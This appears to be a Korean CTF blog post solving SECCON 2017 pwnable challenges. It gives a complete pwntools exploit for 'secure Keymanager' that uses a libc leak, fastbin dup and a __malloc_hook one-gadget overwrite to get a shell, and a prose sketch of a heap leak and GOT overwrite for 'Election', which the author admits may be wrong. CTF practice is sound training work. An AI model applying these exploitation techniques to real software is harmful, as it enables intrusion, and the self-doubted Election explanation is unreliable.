-
SECCON 2017 secure Keymanager, ElectionPwnable/CTF 2018. 1. 10. 13:41
fastbin dup, malloc_usable_size
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import *p=process("./secure_keymanager")elf=ELF("./secure_keymanager")def init(name,master):p.sendafter('>> ',name)p.sendlineafter('>> ',master)def add(length,title,key):p.sendlineafter('>> ','1')p.sendlineafter('...',str(length))p.sendafter('...',title)p.sendafter('...',key)def add_2(length,title):p.sendlineafter('>> ','1')p.sendlineafter('...',str(length))p.sendlineafter('...',title)def edit(name,master,idx,key):p.sendlineafter('>> ','3')init(name,master)p.sendlineafter('...',str(idx))p.sendlineafter('...',key)def remove(name,master,idx):p.sendlineafter('>> ','4')init(name,master)p.sendlineafter('...',str(idx))def change(name,master,new_master):p.sendlineafter('>> ','9')init(name,master)p.sendlineafter('>> ',new_master)init(p64(0)+p64(0x41),"AAAA") #prev_size sizep.sendlineafter('>> ','9')p.sendlineafter('>> ',"C"*39)p.recvuntil('C\n')puts = u64(p.recv(6)+"\x00\x00") - 362libc_base = puts - 0x6f690system = libc_base + 0x45390malloc_hook = libc_base + 0x3c4b10one_shot = libc_base + 0xf0274print hex(puts)print hex(malloc_hook)add(24,"aaaa","aaaa")add(24,"bbbb","bbbb")add(24,"cccc","cccc")remove(p64(0),"AAAA",2)remove(p64(0),"AAAA",1)remove(p64(0),"AAAA",2)add(24,p64(0x6020c0),"cccc")add(24,"bbbb","bbbb")add(24,"cccc","cccc")add(24,"d"*16+p64(malloc_hook-0x15b+0x10)+p32(elf.got['puts']),p64(malloc_hook-0x15b+0x10+0x68-0x8)) #0, 2 key list inputedit(p64(0),"AAAA",0,"A"*56+p64(0x400))payload = "A"*0xcbpayload += p64(one_shot)edit(p64(0),"AAAA",2,payload)sleep(1)remove(p64(0),"AAAA",1)p.interactive()cs ELECTION
election 문제에서 Oshima라는 이름으로 수정할려고하면 read 오버플로우가 일어나는데 그때 자기가 원하는주소에 있는 값을 자기가 정할수있다.
(default로 +1씩 더해줌)
링크 드리스트로 이어져있기때문에 힙 주소를 릭하고 Oshima이름을 가진 포인터하고 연결을 해줘야되는데 에서 default로 포인터 주소를 계속 더해주다보면 힙 주소를 가르키게끔 되는데 그렇게 힙을 릭하고
fake heap이나 fake bss를 만들어서 거기에 맞게 name포인터를 got로 그 옆에 링크를 oshima이름으로 해주고 이름을 print해줘서 출력시키고 위에 나와있는 것으로 수정을해줘서 got를 덮을수있다. (election 문제 푼지 기간이 조금 지나가지고 설명이 틀릴수있습니다 ..)
'Pwnable > CTF' 카테고리의 다른 글
WITHCON 2017 combination (0) 2018.01.12 SECCON 2017 video_player (0) 2018.01.11 Christmas CTF 2017 bookstore (0) 2017.12.30 Christmas CTF 2017 infinite cat (0) 2017.12.30 HITCON 2016 house_of_orange (2) 2017.12.11